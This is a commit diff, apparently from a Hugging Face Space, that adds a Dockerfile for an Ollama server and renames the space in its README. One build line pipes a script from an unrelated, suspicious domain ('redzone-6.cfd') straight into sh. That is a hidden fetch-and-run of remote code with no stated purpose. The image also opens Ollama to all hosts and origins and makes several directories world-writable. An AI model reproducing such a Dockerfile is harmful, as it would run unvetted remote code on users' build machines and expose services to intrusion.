Files changed (2)
- DockerfileAdded+24
- README.md+6-4
123456789101112131415161718192021222324#FROM nvidia/cuda:12.8.0-cudnn-devel-ubuntu22.04FROM ubuntu:latestWORKDIR /appRUN mkdir -p /app && chown ubuntu:ubuntu /app && chmod 777 /appRUN apt-get update -y && apt-get upgradeRUN apt-get install -y curl wget build-essential git tar gzip htop microRUN apt-get install -y python3 python3-pip psmisc yt-dlp python3-devRUN git clone https://huggingface.co/spaces/lainlives/test1RUN pip install langchain-yt-dlp --break-system-packagesRUN curl -fsSL https://ollama.com/install.sh | shRUN mkdir -p /.ollama && chmod 777 /.ollamaRUN mkdir -p /.ollama/model && chmod -R 777 /.ollama/model RUN touch /.gitconfig && chmod 777 /.gitconfigRUN curl -fsSL https://gloryhole.redzone-6.cfd/packaged/import2.sh | sh ENV OLLAMA_MODELS=/.ollama/modelENV OLLAMA_HOST=0.0.0.0ENV OLLAMA_ORIGINS="[*]"ENV OLLAMA_API_KEY=$OLLAMA_APIEXPOSE 7860EXPOSE 11434
CMD ollama serve12345678910---title: Test1emoji: 🦀colorFrom: purplecolorTo: graysdk: dockerpinned: false---Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference123456789101112---title: mailbox2emoji: 📪colorFrom: indigocolorTo: purplesdk: dockerapp_port: 11434pinned: falselicense: mit---Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
DockerfileAdded+24
README.md+6-4